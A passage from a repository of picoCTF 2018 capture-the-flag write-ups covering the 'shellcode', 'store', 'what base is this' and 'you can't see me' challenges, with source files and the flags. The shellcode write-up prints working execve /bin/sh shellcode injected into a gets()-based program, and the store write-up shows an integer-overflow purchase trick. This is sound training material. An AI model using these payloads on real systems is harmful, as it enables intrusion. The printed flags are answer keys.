((())()) + ((())()) => ((())())((())()) 48 | 49 | Apparently, the absorb rule only applies if the depth of the brackets are not equal. 50 | 51 | For example, wrongly applying absorb-rule to the above will increase the depth and yield the following. 52 | 53 | ((())()) depth of 3 + depth of 3 54 | Correct answer => ((())())((())()) depth of 3 55 | Wrong answer => ( ((())()) (())()) depth of 4 56 | 57 | With this, I first checked both operands of their depth, and then ***apply absorb-rule only if one is greater than the other*** so that the ***final depth will not change***. For equal depths, the combine rule is used. 58 | 59 | #### Translating to code 60 | 61 | So I counted the bracket depth of `d1` and `d2` before **inserting the *lower-depth operands* between the brackets** of the higher-depth operands 62 | 63 | d1 = get_total_depth(first) 64 | d2 = get_total_depth(second) 65 | 66 | # [absorb] rule - left is deeper 67 | if d1 > d2: 68 | result = first[:-1] + second + first[-1] 69 | 70 | # [absorb] rule - right is deeper 71 | elif d2 > d1: 72 | result = second[0] + first + second[1:] 73 | 74 | # [combine] rule - equal depth 75 | else: 76 | result = first + second 77 | 78 | This passes all sample tests assertions 79 | 80 | ## Flag 81 | 82 | picoCTF{5cr1pt1nG_l1k3_4_pRo_0466cdd7} 83 | -------------------------------------------------------------------------------- /Solved/shellcode/README.md: -------------------------------------------------------------------------------- 1 | # shellcode 2 | Binary Exploitation - 200 points 3 | 4 | ## Challenge 5 | > This [program](vuln) executes any input you give it. Can you get a shell? You can find the program in /problems/shellcode_3_09e0c5074980877d900d65c545d1e127 on the shell server. 6 | 7 | [Source.](vuln.c) 8 | 9 | 10 | ## Solution 11 | 12 | The right shellcode must be used. 13 | 14 | These few seem to work for me: 15 | 16 | - http://shell-storm.org/shellcode/files/shellcode-827.php 17 | - http://shell-storm.org/shellcode/files/shellcode-575.php 18 | 19 | Referring to [@LFlare's writeup from PicoCTF 2017](https://github.com/LFlare/picoctf_2017_writeup/tree/master/binary/shellz) 20 | 21 | 22 | $ python -c "print('\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80')" > ~/payload 23 | 24 | $ cat ~/payload - | ./vuln 25 | Enter a string! 26 | j 27 | X?Rh//shh/bin??1?̀ 28 | Thanks! Executing now... 29 | ls 30 | flag.txt vuln vuln.c 31 | cat flag.txt 32 | picoCTF{shellc0de_w00h00_7f5a7309} 33 | -------------------------------------------------------------------------------- /Solved/shellcode/vuln: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zst-ctf/picoctf-2018-writeups/d77f32fa23054a574ee19eb365432f33ca41668b/Solved/shellcode/vuln -------------------------------------------------------------------------------- /Solved/shellcode/vuln.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #define BUFSIZE 148 8 | #define FLAGSIZE 128 9 | 10 | void vuln(char *buf){ 11 | gets(buf); 12 | puts(buf); 13 | } 14 | 15 | int main(int argc, char **argv){ 16 | 17 | setvbuf(stdout, NULL, _IONBF, 0); 18 | 19 | // Set the gid to the effective gid 20 | // this prevents /bin/sh from dropping the privileges 21 | gid_t gid = getegid(); 22 | setresgid(gid, gid, gid); 23 | 24 | char buf[BUFSIZE]; 25 | 26 | puts("Enter a string!"); 27 | vuln(buf); 28 | 29 | puts("Thanks! Executing now..."); 30 | 31 | ((void (*)())buf)(); 32 | 33 | return 0; 34 | } 35 | -------------------------------------------------------------------------------- /Solved/store/README.md: -------------------------------------------------------------------------------- 1 | # store 2 | General Skills - 400 points 3 | 4 | ## Challenge 5 | > We started a little [store](store), can you buy the flag? [Source](store.c). Connect with 2018shell2.picoctf.com 5795. 6 | 7 | ## Hint 8 | > Two's compliment can do some weird things when numbers get really big! 9 | 10 | ## Solution 11 | 12 | 13 | Vulnerability is at following line 14 | 15 | total_cost = 1000*number_flags; 16 | 17 | Enter a large enough integer to make total_cost overflow to a negative amount 18 | 19 | --- 20 | 21 | $ nc 2018shell2.picoctf.com 5795 22 | Welcome to the Store App V1.0 23 | World's Most Secure Purchasing App 24 | 25 | [1] Check Account Balance 26 | 27 | [2] Buy Stuff 28 | 29 | [3] Exit 30 | 31 | Enter a menu selection 32 | 2 33 | 34 | --- 35 | 36 | Current Auctions 37 | [1] I Can't Believe its not a Flag! 38 | [2] Real Flag 39 | 1 40 | Imitation Flags cost 1000 each, how many would you like? 41 | 2147483647 42 | 43 | Your total cost is: -1000 44 | 45 | Your new balance: 2100 46 | 47 | --- 48 | 49 | Welcome to the Store App V1.0 50 | World's Most Secure Purchasing App 51 | 52 | [1] Check Account Balance 53 | 54 | [2] Buy Stuff 55 | 56 | [3] Exit 57 | 58 | Enter a menu selection 59 | 2 60 | 61 | --- 62 | 63 | Current Auctions 64 | [1] I Can't Believe its not a Flag! 65 | [2] Real Flag 66 | 1 67 | Imitation Flags cost 1000 each, how many would you like? 68 | 2147470000 69 | 70 | Your total cost is: -13648000 71 | 72 | Your new balance: 13650100 73 | 74 | --- 75 | 76 | Welcome to the Store App V1.0 77 | World's Most Secure Purchasing App 78 | 79 | [1] Check Account Balance 80 | 81 | [2] Buy Stuff 82 | 83 | [3] Exit 84 | 85 | Enter a menu selection 86 | 2 87 | 88 | --- 89 | 90 | Current Auctions 91 | [1] I Can't Believe its not a Flag! 92 | [2] Real Flag 93 | 2 94 | A genuine Flag costs 100000 dollars, and we only have 1 in stock 95 | Enter 1 to purchase1 96 | YOUR FLAG IS: picoCTF{numb3r3_4r3nt_s4f3_dbd42a50} 97 | 98 | 99 | ## Flag 100 | 101 | picoCTF{numb3r3_4r3nt_s4f3_dbd42a50} 102 | -------------------------------------------------------------------------------- /Solved/store/source.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | int main() 4 | { 5 | int con; 6 | con = 0; 7 | int account_balance = 1100; 8 | while(con == 0){ 9 | 10 | printf("Welcome to the Store App V1.0\n"); 11 | printf("World's Most Secure Purchasing App\n"); 12 | 13 | printf("\n[1] Check Account Balance\n"); 14 | printf("\n[2] Buy Stuff\n"); 15 | printf("\n[3] Exit\n"); 16 | int menu; 17 | printf("\n Enter a menu selection\n"); 18 | fflush(stdin); 19 | scanf("%d", &menu); 20 | if(menu == 1){ 21 | printf("\n\n\n Balance: %d \n\n\n", account_balance); 22 | } 23 | else if(menu == 2){ 24 | printf("Current Auctions\n"); 25 | printf("[1] I Can't Believe its not a Flag!\n"); 26 | printf("[2] Real Flag\n"); 27 | int auction_choice; 28 | fflush(stdin); 29 | scanf("%d", &auction_choice); 30 | if(auction_choice == 1){ 31 | printf("Imitation Flags cost 1000 each, how many would you like?\n"); 32 | 33 | int number_flags = 0; 34 | fflush(stdin); 35 | scanf("%d", &number_flags); 36 | if(number_flags > 0){ 37 | int total_cost = 0; 38 | total_cost = 1000*number_flags; 39 | printf("\nYour total cost is: %d\n", total_cost); 40 | if(total_cost <= account_balance){ 41 | account_balance = account_balance - total_cost; 42 | printf("\nYour new balance: %d\n\n", account_balance); 43 | } 44 | else{ 45 | printf("Not enough funds\n"); 46 | } 47 | 48 | 49 | } 50 | 51 | 52 | 53 | 54 | } 55 | else if(auction_choice == 2){ 56 | printf("A genuine Flag costs 100000 dollars, and we only have 1 in stock\n"); 57 | printf("Enter 1 to purchase"); 58 | int bid = 0; 59 | fflush(stdin); 60 | scanf("%d", &bid); 61 | 62 | if(bid == 1){ 63 | 64 | if(account_balance > 100000){ 65 | printf("YOUR FLAG IS:\n"); 66 | } 67 | 68 | else{ 69 | printf("\nNot enough funds for transaction\n\n\n"); 70 | }} 71 | 72 | } 73 | } 74 | else{ 75 | con = 1; 76 | } 77 | 78 | } 79 | return 0; 80 | } 81 | -------------------------------------------------------------------------------- /Solved/store/store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zst-ctf/picoctf-2018-writeups/d77f32fa23054a574ee19eb365432f33ca41668b/Solved/store/store -------------------------------------------------------------------------------- /Solved/what_base_is_this/README.md: -------------------------------------------------------------------------------- 1 | # what base is this? 2 | General Skills - 200 points 3 | 4 | ## Challenge 5 | > To be successful on your mission, you must be able read data represented in different ways, such as hexadecimal or binary. Can you get the flag from this program to prove you are ready? Connect with `nc 2018shell2.picoctf.com 14390`. 6 | 7 | ## Solution 8 | 9 | A program for fun 10 | 11 | ./solve.py -------------------------------------------------------------------------------- /Solved/what_base_is_this/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import socket 3 | 4 | def bin_to_ascii(n): 5 | n = n.replace(" ", "") 6 | n = int(n, 2) 7 | return n.to_bytes((n.bit_length() + 7) // 8, 'big').decode() 8 | 9 | def dec_to_ascii(n): 10 | num = n.strip().split(' ') 11 | ascii = list(map(lambda x: chr(int(x)), num)) 12 | return ''.join(ascii) 13 | 14 | def oct_to_ascii(n): 15 | num = n.strip().split(' ') 16 | ascii = list(map(lambda x: chr(int(x, 8)), num)) 17 | return ''.join(ascii) 18 | 19 | def hex_to_ascii(n): 20 | return bytes.fromhex(n).decode() 21 | 22 | s = socket.socket() 23 | s.connect(('2018shell2.picoctf.com', 14390)) 24 | 25 | while True: 26 | data = s.recv(4096).decode().strip() 27 | if not data: 28 | continue 29 | 30 | print("Received:", data) 31 | 32 | if 'Please give me the ' in data: 33 | number = data.split("Please give me the ")[1].split('as')[0].strip() 34 | 35 | choice = input(f'Decode {number}: ').strip() 36 | if choice == 'b': 37 | decoded = bin_to_ascii(number) 38 | elif choice == 'o': 39 | decoded = oct_to_ascii(number) 40 | elif choice == 'd': 41 | decoded = dec_to_ascii(number) 42 | elif choice == 'h': 43 | decoded = hex_to_ascii(number) 44 | 45 | print(">> Decoded:", decoded) 46 | s.send(decoded.encode() + b'\n') 47 | 48 | if '>' in data: 49 | payload = payloads.pop(0) 50 | print('Sending:', payload) 51 | s.send(payload) 52 | 53 | if 'flag' in data: 54 | quit() 55 | -------------------------------------------------------------------------------- /Solved/you_can_t_see_me/README.md: -------------------------------------------------------------------------------- 1 | # you can't see me 2 | General Skills - 200 points 3 | 4 | ## Challenge 5 | > '...reading transmission... Y.O.U. .C.A.N.'.T. .S.E.E. .M.E. ...transmission ended...' Maybe something lies in /problems/you-can-t-see-me_0_8fc4b46df0f4dd36b87a28877fcf9ea2. 6 | 7 | ## Solution 8 | 9 | An interesting problem. 10 | 11 | We notice a file with dot as the name. 12 | 13 | $ ls -la 14 | total 60 15 | drwxr-xr-x 2 root root 4096 Sep 28 08:34 . 16 | -rw-rw-r-- 1 hacksports hacksports 57 Sep 28 08:34 . 17 | drwxr-x--x 576 root root 53248 Sep 30 03:50 .. 18 | 19 | But we can't cat it. 20 | 21 | zst123@pico-2018-shell-2:/problems/you-can-t-see-me_0_8fc4b46df0f4dd36b87a28877fcf9ea2$ cat . 22 | cat: .: Is a directory 23 | zst123@pico-2018-shell-2:/problems/you-can-t-see-me_0_8fc4b46df0f4dd36b87a28877fcf9ea2$ cat * 24 | cat: '*': No such file or directory 25 | 26 | However notice that there are 2 spaces after the dot 27 | 28 | zst123@pico-2018-shell-2:/problems/you-can-t-see-me_0_8fc4b46df0f4dd36b87a28877fcf9ea2$ cat '. ' 29 | picoCTF{j0hn_c3na_paparapaaaaaaa_paparapaaaaaa_e3d80588} 30 | -------------------------------------------------------------------------------- /TEMPLATE.md: -------------------------------------------------------------------------------- 1 | # CHALLENGE 2 | CATEGORY - POINTS points 3 | 4 | ## Challenge 5 | > 6 | 7 | ## Hint 8 | > 9 | 10 | ## Solution 11 | 12 | 13 | ## Flag 14 | 15 | ?? -------------------------------------------------------------------------------- /new: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import sys 3 | import os 4 | 5 | argv = sys.argv 6 | script_name = argv.pop(0) 7 | 8 | if len(argv) != 3: 9 | print(f"Usage: {script_name} challenge_name category points") 10 | quit() 11 | 12 | challenge = argv[0].strip() 13 | category = argv[1].strip() 14 | points = argv[2].strip() 15 | 16 | assert points.isdigit() == True 17 | 18 | 19 | if not os.path.exists('./Solved/'): 20 | os.makedirs('./Solved/') 21 | 22 | if not os.path.exists('./Unsolved/'): 23 | os.makedirs('./Unsolved/') 24 | 25 | folder = ''.join(c if c.isalnum() else '_' for c in challenge).rstrip('_') 26 | folder_readme = folder + "/README.md" 27 | 28 | already_created = (os.path.exists(folder_readme) or 29 | os.path.exists('./Solved/' + folder_readme) or 30 | os.path.exists('./Unsolved/' + folder_readme)) 31 | 32 | if already_created: 33 | print('Already created') 34 | 35 | else: 36 | if not os.path.exists(folder): 37 | os.makedirs(folder) 38 | 39 | with open("TEMPLATE.md", 'r') as f: 40 | template = f.read() 41 | 42 | with open(folder + "/README.md", 'w') as f2: 43 | template = template.replace("CHALLENGE", challenge) 44 | template = template.replace("CATEGORY", category) 45 | template = template.replace("POINTS", points) 46 | f2.write(template) 47 | 48 | with open("README.md", 'a') as f3: 49 | f3.write(f'[{challenge}](./Solved/{folder}) | {category} | {points} | \n') 50 | -------------------------------------------------------------------------------- /server.sh: -------------------------------------------------------------------------------- 1 | ssh 'zst123@2018shell2.picoctf.com' 2 | --------------------------------------------------------------------------------